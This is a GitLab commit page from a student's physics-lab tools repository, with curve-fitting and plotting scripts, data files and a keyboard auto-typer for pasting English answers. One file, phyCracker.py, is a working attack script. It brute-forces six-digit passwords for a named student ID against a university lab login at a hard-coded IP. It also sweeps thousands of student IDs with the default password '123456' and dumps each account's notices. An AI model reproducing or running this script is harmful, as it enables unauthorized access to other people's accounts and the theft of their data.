Skip to content
Snippets Groups Projects
Unverified Commit 57fedb67 authored by Recolic Keghart's avatar Recolic Keghart
Browse files

Add polynomial curl fitting.

parent 92cc8470
No related branches found
No related tags found
No related merge requests found
{
"python.pythonPath": "/usr/bin/python3"
}
\ No newline at end of file
!_TAG_FILE_FORMAT 2 /extended format; --format=1 will not append ;" to lines/
!_TAG_FILE_SORTED 1 /0=unsorted, 1=sorted, 2=foldcase/
!_TAG_PROGRAM_AUTHOR Darren Hiebert /dhiebert@users.sourceforge.net/
!_TAG_PROGRAM_NAME Exuberant Ctags //
!_TAG_PROGRAM_URL http://ctags.sourceforge.net /official site/
!_TAG_PROGRAM_VERSION 5.8 //
DrawPoint.py ../DrawPoint.py 1;" kind:file line:1
GetMap ../quickmap.py /^def GetMap(parrX, parrY, windowX = 12, windowY = 8, line = False, passO = False):$/;" kind:function line:11
GetMap ../sound/quickmap.py /^def GetMap(parrX, parrY, windowX = 12, windowY = 8, line = False, passO = False):$/;" kind:function line:11
GetMap ../va/quickmap.py /^def GetMap(parrX, parrY, windowX = 12, windowY = 8, line = False, passO = False):$/;" kind:function line:11
HallEffect.py ../hall/HallEffect.py 1;" kind:file line:1
HallEffect2.py ../hall/HallEffect2.py 1;" kind:file line:1
I ../va/va.py /^I=[itrue\/150*float(sys.argv[3]) for itrue in Iraw]$/;" kind:variable line:11
Imax ../hall/HallEffect.py /^Imax = 5 # Maybe you need to change it to 0.5 for Im$/;" kind:variable line:11
PyKeyboard ../input/dataInput.py /^print('from pykeyboard import PyKeyboard')$/;" kind:namespace line:15
PyKeyboard ../input/en.py /^print('from pykeyboard import PyKeyboard')$/;" kind:namespace line:14
PyKeyboard ../sound/dataInput.py /^print('from pykeyboard import PyKeyboard')$/;" kind:namespace line:15
U ../va/va.py /^U=[utrue\/100*float(sys.argv[2]) for utrue in Uraw]$/;" kind:variable line:10
_dump ../phyCracker.py /^def _dump(sid,pswd):$/;" kind:function line:9
ar ../input/dataInput.py /^ ar=dataset #fuck numpy......$/;" kind:variable line:21
ar ../input/en.py /^ar=fd.read().replace('\\n','').replace('\\'','\\\\\\'').replace('’','\\\\\\'').split(sys.argv[2])$/;" kind:variable line:10
ar ../sound/dataInput.py /^ ar=dataset #fuck numpy......$/;" kind:variable line:21
b ../hall/HallEffect2.py /^ b = 4$/;" kind:variable line:100
b ../hall/HallEffect2.py /^b=toFloat(input('b(mm) 4.00 ?>'))$/;" kind:variable line:94
c6 ../hall/HallEffect2.py /^c6 = k * l * 10 \/ (b * d)$/;" kind:variable line:106
crackOneAccount ../phyCracker.py /^def crackOneAccount(sid, rangeGen=range(1000000)):$/;" kind:function line:61
d ../hall/HallEffect.py /^d=toFloat(input('d(mm) 0.500 ?>'))$/;" kind:variable line:94
d ../hall/HallEffect2.py /^d=toFloat(input('d(mm) 0.500 ?>'))$/;" kind:variable line:93
dat ../va/va.py /^dat=numpy.loadtxt(sys.argv[1], delimiter=' ')$/;" kind:variable line:8
dataInput.py ../input/dataInput.py 1;" kind:file line:1
dataInput.py ../sound/dataInput.py 1;" kind:file line:1
dataset ../input/dataInput.py /^dataset=numpy.loadtxt(sys.argv[1], delimiter=' ')$/;" kind:variable line:13
dataset ../sound/dataInput.py /^dataset=numpy.loadtxt(sys.argv[1], delimiter=' ')$/;" kind:variable line:13
doLogin ../phySpider.py /^def doLogin():$/;" kind:function line:30
doTest ../phySpider.py /^def doTest(expNum, weekNum, cookieStr):$/;" kind:function line:41
draw ../va/va.py /^from quickmap import GetMap as draw$/;" kind:namespace line:4
dumpWebpage ../phySpider.py /^def dumpWebpage(content, filePath):$/;" kind:function line:36
en.py ../input/en.py 1;" kind:file line:1
errorPageDump ../phySpider.py /^errorPageDump = '\/home\/recolic\/tmp\/phySpiderDump.html'$/;" kind:variable line:15
experimentNumberDict ../phySpider.py /^experimentNumberDict = {$/;" kind:variable line:18
experimentNumberList ../phySpider.py /^experimentNumberList = [52,53,54,55,56,57,58,59]$/;" kind:variable line:12
fail ../phyCracker.py /^fail=0$/;" kind:variable line:72
farr ../hall/HallEffect.py /^ farr = [abs(float(v)) for v in sarr]$/;" kind:variable line:30
farr ../hall/HallEffect.py /^ farr = [abs(float(v)) for v in sarr]$/;" kind:variable line:51
farr ../hall/HallEffect.py /^ farr = fcont.split('\\n')$/;" kind:variable line:19
farr ../hall/HallEffect2.py /^ farr = [abs(float(v)) for v in sarr]$/;" kind:variable line:29
farr ../hall/HallEffect2.py /^ farr = [abs(float(v)) for v in sarr]$/;" kind:variable line:50
farr ../hall/HallEffect2.py /^ farr = fcont.split('\\n')$/;" kind:variable line:18
fcont ../hall/HallEffect.py /^ fcont = fd.read()$/;" kind:variable line:17
fcont ../hall/HallEffect2.py /^ fcont = fd.read()$/;" kind:variable line:16
fd ../hall/HallEffect.py /^ fd = open(sys.argv[1])$/;" kind:variable line:16
fd ../hall/HallEffect2.py /^ fd = open(sys.argv[1])$/;" kind:variable line:15
fd ../input/en.py /^fd=open(sys.argv[1],'r')$/;" kind:variable line:9
gsa ../hall/HallEffect.py /^gsa=toFloat(input('B\/Im(KGS\/A) >'))$/;" kind:variable line:95
hallC ../hall/HallEffect.py /^hallC = k * d * 1e4 \/ (im * gsa) # KGs and mm$/;" kind:variable line:104
im ../hall/HallEffect.py /^ im = 0.45$/;" kind:variable line:103
im ../hall/HallEffect.py /^im=toFloat(input('Im(A) 0.450 ?>'))$/;" kind:variable line:96
kb0 ../hall/HallEffect.py /^kb0 = [1,0]$/;" kind:variable line:67
kb0 ../hall/HallEffect2.py /^kb0 = [10,0]$/;" kind:variable line:66
kb0 ../oil/oil0.py /^kb0 = [10,0]$/;" kind:variable line:28
kbFinal ../hall/HallEffect.py /^kbFinal = leastsq(lossFunc, kb0, args=(I, V))$/;" kind:variable line:68
kbFinal ../hall/HallEffect2.py /^kbFinal = leastsq(lossFunc, kb0, args=(V, I))$/;" kind:variable line:67
kbFinal ../oil/oil0.py /^kbFinal = leastsq(lossFunc, kb0, args=(V, I))$/;" kind:variable line:29
l ../hall/HallEffect2.py /^ l = 3$/;" kind:variable line:102
l ../hall/HallEffect2.py /^l=toFloat(input('l(mm) 3.00 ?>'))$/;" kind:variable line:95
leastsq ../hall/HallEffect.py /^from scipy.optimize import leastsq$/;" kind:namespace line:7
leastsq ../hall/HallEffect2.py /^from scipy.optimize import leastsq$/;" kind:namespace line:7
leastsq ../oil/oil0.py /^from scipy.optimize import leastsq$/;" kind:namespace line:7
leastsq ../quickmap.py /^from scipy.optimize import leastsq$/;" kind:namespace line:7
leastsq ../sound/quickmap.py /^from scipy.optimize import leastsq$/;" kind:namespace line:7
leastsq ../va/quickmap.py /^from scipy.optimize import leastsq$/;" kind:namespace line:7
lineFunc ../hall/HallEffect.py /^def lineFunc(kb, i):$/;" kind:function line:60
lineFunc ../hall/HallEffect2.py /^def lineFunc(kb, v):$/;" kind:function line:59
lineFunc ../oil/oil0.py /^def lineFunc(kb, v):$/;" kind:function line:21
lineFunc ../quickmap.py /^ def lineFunc(kb, v):$/;" kind:function line:21
lineFunc ../sound/quickmap.py /^ def lineFunc(kb, v):$/;" kind:function line:21
lineFunc ../va/quickmap.py /^ def lineFunc(kb, v):$/;" kind:function line:21
lossFunc ../hall/HallEffect.py /^lossFunc = lambda kb, i, v : lineFunc(kb, i) - v$/;" kind:variable line:64
lossFunc ../hall/HallEffect2.py /^lossFunc = lambda kb, v, i : lineFunc(kb, v) - i$/;" kind:variable line:63
lossFunc ../oil/oil0.py /^lossFunc = lambda kb, v, i : lineFunc(kb, v) - i$/;" kind:variable line:25
m_cookie ../phySpider.py /^ m_cookie=m_cookie[0:len(m_cookie)-2]$/;" kind:variable line:99
m_cookie ../phySpider.py /^ m_cookie = cookieFile.readline()$/;" kind:variable line:97
m_cookie ../phySpider.py /^ m_cookie = input()$/;" kind:variable line:102
m_cookie ../phySpider.py /^ m_cookie = doLogin()$/;" kind:variable line:105
matplotlib ../DrawPoint.py /^import matplotlib.pyplot as plt$/;" kind:namespace line:2
matplotlib ../hall/HallEffect.py /^import matplotlib.pyplot as plt$/;" kind:namespace line:8
matplotlib ../hall/HallEffect2.py /^import matplotlib.pyplot as plt$/;" kind:namespace line:8
matplotlib ../oil/oil0.py /^import matplotlib.pyplot as plt$/;" kind:namespace line:8
matplotlib ../quickmap.py /^import matplotlib.pyplot as plt$/;" kind:namespace line:8
matplotlib ../sound/quickmap.py /^import matplotlib.pyplot as plt$/;" kind:namespace line:8
matplotlib ../va/quickmap.py /^import matplotlib.pyplot as plt$/;" kind:namespace line:8
n ../hall/HallEffect.py /^n = 1 \/ (hallC * 1.6021766208e-19)$/;" kind:variable line:105
numpy ../DrawPoint.py /^import numpy$/;" kind:namespace line:1
numpy ../hall/HallEffect.py /^import numpy, sys$/;" kind:namespace line:6
numpy ../hall/HallEffect2.py /^import numpy, sys$/;" kind:namespace line:6
numpy ../input/dataInput.py /^import numpy$/;" kind:namespace line:12
numpy ../oil/oil0.py /^import numpy, sys$/;" kind:namespace line:6
numpy ../quickmap.py /^import numpy$/;" kind:namespace line:6
numpy ../sound/dataInput.py /^import numpy$/;" kind:namespace line:12
numpy ../sound/quickmap.py /^import numpy$/;" kind:namespace line:6
numpy ../va/quickmap.py /^import numpy$/;" kind:namespace line:6
numpy ../va/va.py /^import numpy$/;" kind:namespace line:2
oil0.py ../oil/oil0.py 1;" kind:file line:1
oneLine ../input/dataInput.py /^ oneLine=True$/;" kind:variable line:22
oneLine ../input/dataInput.py /^oneLine=False$/;" kind:variable line:18
oneLine ../sound/dataInput.py /^ oneLine=True$/;" kind:variable line:22
oneLine ../sound/dataInput.py /^oneLine=False$/;" kind:variable line:18
parse ../phyCracker.py /^import urllib.request, urllib.parse$/;" kind:namespace line:5
parse ../phySpider.py /^import urllib.parse, urllib.request$/;" kind:namespace line:6
phyCracker.py ../phyCracker.py 1;" kind:file line:1
phySpider.py ../phySpider.py 1;" kind:file line:1
plt ../DrawPoint.py /^import matplotlib.pyplot as plt$/;" kind:namespace line:2
plt ../hall/HallEffect.py /^import matplotlib.pyplot as plt$/;" kind:namespace line:8
plt ../hall/HallEffect2.py /^import matplotlib.pyplot as plt$/;" kind:namespace line:8
plt ../oil/oil0.py /^import matplotlib.pyplot as plt$/;" kind:namespace line:8
plt ../quickmap.py /^import matplotlib.pyplot as plt$/;" kind:namespace line:8
plt ../sound/quickmap.py /^import matplotlib.pyplot as plt$/;" kind:namespace line:8
plt ../va/quickmap.py /^import matplotlib.pyplot as plt$/;" kind:namespace line:8
px ../DrawPoint.py /^px=numpy.linspace(0,65,1000)$/;" kind:variable line:16
px ../hall/HallEffect.py /^px=numpy.linspace(0,Imax,1000)$/;" kind:variable line:78
px ../hall/HallEffect2.py /^px=numpy.linspace(0,100,1000)$/;" kind:variable line:77
px ../oil/oil0.py /^px=numpy.linspace(0,maxX,1000)$/;" kind:variable line:39
py ../hall/HallEffect.py /^py=k*px+b$/;" kind:variable line:79
py ../hall/HallEffect2.py /^py=k*px+b$/;" kind:variable line:78
py ../oil/oil0.py /^py=k*px+b$/;" kind:variable line:40
quickmap.py ../quickmap.py 1;" kind:file line:1
quickmap.py ../sound/quickmap.py 1;" kind:file line:1
quickmap.py ../va/quickmap.py 1;" kind:file line:1
rcParams ../DrawPoint.py /^from matplotlib import rcParams$/;" kind:namespace line:3
rcParams ../hall/HallEffect.py /^from matplotlib import rcParams$/;" kind:namespace line:9
rcParams ../hall/HallEffect2.py /^from matplotlib import rcParams$/;" kind:namespace line:9
rcParams ../oil/oil0.py /^from matplotlib import rcParams$/;" kind:namespace line:9
rcParams ../quickmap.py /^from matplotlib import rcParams$/;" kind:namespace line:9
rcParams ../sound/quickmap.py /^from matplotlib import rcParams$/;" kind:namespace line:9
rcParams ../va/quickmap.py /^from matplotlib import rcParams$/;" kind:namespace line:9
request ../phyCracker.py /^import urllib.request, urllib.parse$/;" kind:namespace line:5
request ../phySpider.py /^import urllib.parse, urllib.request$/;" kind:namespace line:6
rh ../hall/HallEffect2.py /^rh=toFloat(input('RH(Calculated by HallEffect.py) ?>'))$/;" kind:variable line:96
s ../hall/HallEffect.py /^ s = input('>')$/;" kind:variable line:41
s ../hall/HallEffect2.py /^ s = input('>')$/;" kind:variable line:40
sarr ../hall/HallEffect.py /^ sarr = s.split(' ')$/;" kind:variable line:26
sarr ../hall/HallEffect.py /^ sarr = s.split(' ')$/;" kind:variable line:47
sarr ../hall/HallEffect2.py /^ sarr = s.split(' ')$/;" kind:variable line:25
sarr ../hall/HallEffect2.py /^ sarr = s.split(' ')$/;" kind:variable line:46
success ../phyCracker.py /^success=0$/;" kind:variable line:71
sys ../hall/HallEffect.py /^import numpy, sys$/;" kind:namespace line:6
sys ../hall/HallEffect2.py /^import numpy, sys$/;" kind:namespace line:6
sys ../input/dataInput.py /^import sys$/;" kind:namespace line:7
sys ../input/en.py /^import sys$/;" kind:namespace line:4
sys ../oil/oil0.py /^import numpy, sys$/;" kind:namespace line:6
sys ../phySpider.py /^import sys$/;" kind:namespace line:7
sys ../sound/dataInput.py /^import sys$/;" kind:namespace line:7
sys ../va/va.py /^import sys$/;" kind:namespace line:3
time ../input/dataInput.py /^print('import time')$/;" kind:namespace line:16
time ../input/en.py /^print('import time')$/;" kind:namespace line:15
time ../sound/dataInput.py /^print('import time')$/;" kind:namespace line:16
toFloat ../hall/HallEffect.py /^def toFloat(sstr):$/;" kind:function line:85
toFloat ../hall/HallEffect2.py /^def toFloat(sstr):$/;" kind:function line:84
toFloat ../oil/oil0.py /^def toFloat(sstr):$/;" kind:function line:46
toFloat ../quickmap.py /^ def toFloat(sstr):$/;" kind:function line:53
toFloat ../sound/quickmap.py /^ def toFloat(sstr):$/;" kind:function line:53
toFloat ../va/quickmap.py /^ def toFloat(sstr):$/;" kind:function line:53
tryDump ../phyCracker.py /^def tryDump(sid):$/;" kind:function line:57
u ../hall/HallEffect2.py /^u = c6 * rh$/;" kind:variable line:107
urllib ../phyCracker.py /^import urllib.request, urllib.parse$/;" kind:namespace line:5
urllib ../phySpider.py /^import urllib.parse, urllib.request$/;" kind:namespace line:6
va.py ../va/va.py 1;" kind:file line:1
weekNumberList ../phySpider.py /^weekNumberList = [12,13,14,15,16,17]$/;" kind:variable line:11
x ../DrawPoint.py /^x=xrc$/;" kind:variable line:7
xrc ../DrawPoint.py /^xrc=[0.0, 2.0, 4.0, 10.0, 20.0, 22.0, 25.0, 30.0, 33.0, 35.0, 37.0, 38.0, 38.5, 39.0, 39.6, 40.0, 40.5, 41.0, 43.0, 44.0, 45.0, 46.0, 47.0, 48.0, 49.0, 50.0, 53.0, 55.0, 60.0]$/;" kind:variable line:6
y ../DrawPoint.py /^y=[abs(yi) for yi in yrc]$/;" kind:variable line:8
yrc ../DrawPoint.py /^yrc=[-6.77, -6.78, -6.78, -6.76, -6.73, -6.73, -6.72, -6.70, -6.69, -6.67, -6.60, -6.45, -6.37, -6.20, -5.99, -5.77, -5.45, -5.07, -3.52, -2.87, -2.36, -2.08, -1.77, -1.55, -1.40, -1.26, -0.97, -0.84, -0.64]$/;" kind:variable line:5
No preview for this file type
fashionable clothes, trends, copied, traditional center, are guarded, July, great numbers, a high price, starting point, only a part
looks funny, looks fine, out of fashion, good on her, out-dated, following the fashion trends, no wonder
new clothes, full of clothes, university tuition, clothes in fashion, the Middle Ages, part-time job, not too expensive
different and daring, Teenagers, their legs, shorter and shorter, five inches, loose morals, never appear, look childlike, women’s liberation, traditional
#!/bin/env python
# It helps me to copy English answer really quick!
import sys
if len(sys.argv) < 3:
print('Usage: ./dataInput.py /path/to/dat/file \'delimiter\' | python')
exit(123)
fd=open(sys.argv[1],'r')
ar=fd.read().replace('\n','').replace('\'','\\\'').replace('','\\\'').split(sys.argv[2])
fd.close()
print('#!/bin/env python3')
print('from pykeyboard import PyKeyboard')
print('import time')
print('k=PyKeyboard()')
print('print(\'Waiting for 5 second... Please be ready for auto-typing.\')')
print('time.sleep(5)')
for i in ar:
if len(i) == 0:
continue
print('k.type_string(\''+i+'\')')
print('k.tap_key(k.tab_key)')
nervous, afraid, first time, locker, blanket, come out, wore
36837 37258 36845 37345 36870 37283 36855 37327 36843 37261
3.54 4.37 8.26 25.9 13.2 47.7 17.7 66.95 22.46 87.16 27.14 108.6 32.06 129.9 36.68 150.8 41.48 173.35 46.3 194.69 50.86 217.16 55.8 239.56
#!/bin/env python3
# -*- coding: UTF-8 -*-
# from http import cookies
import urllib.request, urllib.parse
cookie='ASPSESSIONIDQSCRDTDT=BDILIEMCJBBJKOBMFFHODGLJ'
def _dump(sid,pswd):
logData=urllib.parse.urlencode({
'xsxh':sid,
'mm':pswd,
'Login':'%B5%C7%C2%BC'
}).encode('utf-8')
req=urllib.request.Request('http://115.156.233.249/login.asp', headers={
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Encoding':'gzip, deflate',
'Accept-Language':'en-US,en;q=0.8,zh-CN;q=0.6,zh;q=0.4',
'Cache-Control':'no-cache',
'Connection':'keep-alive',
'Content-Length':'43',
'Content-Type':'application/x-www-form-urlencoded',
'Cookie':cookie,
'Host':'115.156.233.249',
'Origin':'http://115.156.233.249',
'Pragma':'no-cache',
'Referer':'http://115.156.233.249/login.asp',
'Upgrade-Insecure-Requests':'1',
'User-Agent':'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36'
})
resp=urllib.request.urlopen(req, data=logData)
respstr=resp.read().decode('utf-8', errors = 'backslashreplace')
if len(respstr) < 5000:
print('<div align="center"> Login failed.')
return False
print('<div align="center"> Login done.')
req=urllib.request.Request('http://115.156.233.249/TongZhi.asp', headers={
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Encoding':'gzip, deflate',
'Accept-Language':'en-US,en;q=0.8,zh-CN;q=0.6,zh;q=0.4',
'Cache-Control':'no-cache',
'Connection':'keep-alive',
'Cookie':cookie,
'Host':'115.156.233.249',
'Origin':'http://115.156.233.249',
'Pragma':'no-cache',
'Referer':'http://115.156.233.249/login.asp',
'Upgrade-Insecure-Requests':'1',
'User-Agent':'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36'
})
resp=urllib.request.urlopen(req)
respstr=resp.read().decode('gb2312', errors = 'backslashreplace')
print(respstr, len(respstr))
return True
def tryDump(sid):
print('<div align="center"> -----Dumping', sid)
return _dump(sid,'123456')
def crackOneAccount(sid, rangeGen=range(1000000)):
for i in rangeGen:
psw=str(i).zfill(6)
print('Testing', psw, '...')
if _dump(sid,psw):
print('Done. password='+psw)
crackOneAccount('201614531', range(800000, 1000000))
exit(0)
####
success=0
fail=0
for i in range(201610001, 201617174):
if tryDump(str(i)):
success+=1
else:
fail+=1
print('<div align="center"> Done. Success', success, 'Fail', fail)
......@@ -6,20 +6,24 @@
import urllib.parse, urllib.request
import sys
weekNumberList = [14,15,16,17,18]
experimentNumberList = [37,38,39,40,41,42,43,44]
#weekNumberList = [14,15,16,17,18]
#experimentNumberList = [37,38,39,40,41,42,43,44]
weekNumberList = [12,13,14,15,16,17]
experimentNumberList = [52,53,54,55,56,57,58,59]
errorPageDump = '/home/recolic/tmp/phySpiderDump.html'
# Needn't edit below.
experimentNumberDict = {
37:'分光计',
38:'多功能摆',
41:'直流电桥',
42:'伏安特性',
40:'密里根油滴',
43:'声速测量',
44:'示波器',
39:'霍尔效应'
57:'稳态测固体导热系数',
59:'电路的暂态过程',
58:'音叉实验',
56:'扭摆测转动惯量',
54:'光电效应',
52:'液体张力',
53:'偏振双折射',
55:'组合光学'
}
......
......@@ -8,44 +8,52 @@ from scipy.optimize import leastsq
import matplotlib.pyplot as plt
from matplotlib import rcParams
def GetMap(parrX, parrY, windowX = 12, windowY = 8, line = False, passO = False):
def dotMultiply(vctA, vctB):
if len(vctA) != len(vctB):
print("Error: While vcta is ", vctA, " and vctb is ", vctB)
raise ValueError("dotmulti needs lena == lenb.")
ans = 0
for a, b in zip(vctA, vctB):
ans += a * b
return ans
def GetMap(parrX, parrY, windowSizeX=12, windowSizeY=8, extendXRate=1, line=False, passO=False, maxXPower=1):
print('Generic-GetMap by Recolic.')
arrX, arrY = parrX, parrY
maxX, maxY = max(arrX)*1.2, max(arrY)*1.25
maxX = max(arrX) * extendXRate
# Do calculate
# y = k x + b (I = k V + b)
# y = [k0 k1 k2 ...] dot [x^0 x^1 x^2 ...]
print('Your input: ', arrX, '|', arrY)
print('Data collection done. Generating result...')
V, I = numpy.array(arrX), numpy.array(arrY)
def lineFunc(kb, v):
k,b=kb
X, Y = numpy.array(arrX), numpy.array(arrY)
def lineFunc(k, x):
vctX = [x ** power for power in range(maxXPower + 1)]
if passO:
return k*v
else:
return k*v+b
vctX[0] = 0
return dotMultiply(k, vctX)
lossFunc = lambda kb, v, i : lineFunc(kb, v) - i
def lossFunc(k, x, y): return lineFunc(k, x) - y
# Fire!
if line:
kb0 = [10,0]
kbFinal = leastsq(lossFunc, kb0, args=(V, I))
k,b=kbFinal[0]
print('Fit line done. Y=', k, 'X +', b)
kInit = [1 for _ in range(maxXPower + 1)]
kInit[0] = 0 # guarantee passO.
kFinal, _ = leastsq(lossFunc, kInit, args=(X, Y))
print('Fit line done. k=', kFinal)
else:
print('Drawing map without fitting a line...')
# Draw function map.
rcParams['grid.linestyle']='-'
rcParams['grid.linestyle'] = '-'
rcParams['grid.color'] = 'blue'
rcParams['grid.linewidth'] = 0.2
plt.figure(figsize=(windowX, windowY))
plt.scatter(V,I,color="red",label="Sample Point",linewidth=3)
plt.figure(figsize=(windowSizeX, windowSizeY))
plt.scatter(X, Y, color="red", label="Sample Point", linewidth=3)
if line:
px=numpy.linspace(0,maxX,1000)
py=k*px+b
plt.plot(px,py,color="orange",label="Fitting Line",linewidth=2)
px = numpy.linspace(0, maxX, 1000)
py = dotMultiply(kFinal, [px ** power for power in range(maxXPower + 1)])
plt.plot(px, py, color="orange", label="Fitting Line", linewidth=2)
plt.legend()
plt.grid()
plt.show()
......@@ -54,4 +62,4 @@ def GetMap(parrX, parrY, windowX = 12, windowY = 8, line = False, passO = False)
if sstr == '':
return 0.0
else:
return float(sstr)
\ No newline at end of file
return float(sstr)
import quickmap
yrc=[-6.77, -6.78, -6.78, -6.76, -6.73, -6.73, -6.72, -6.70, -6.69, -6.67, -6.60, -6.45, -6.37, -6.20, -5.99, -5.77, -5.45, -5.07, -3.52, -2.87, -2.36, -2.08, -1.77, -1.55, -1.40, -1.26, -0.97, -0.84, -0.64]
xrc=[0.0, 2.0, 4.0, 10.0, 20.0, 22.0, 25.0, 30.0, 33.0, 35.0, 37.0, 38.0, 38.5, 39.0, 39.6, 40.0, 40.5, 41.0, 43.0, 44.0, 45.0, 46.0, 47.0, 48.0, 49.0, 50.0, 53.0, 55.0, 60.0]
for i in range(15):
quickmap.GetMap(xrc, yrc, line=True, maxXPower=i, extendXRate=1)
0% Loading or .
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment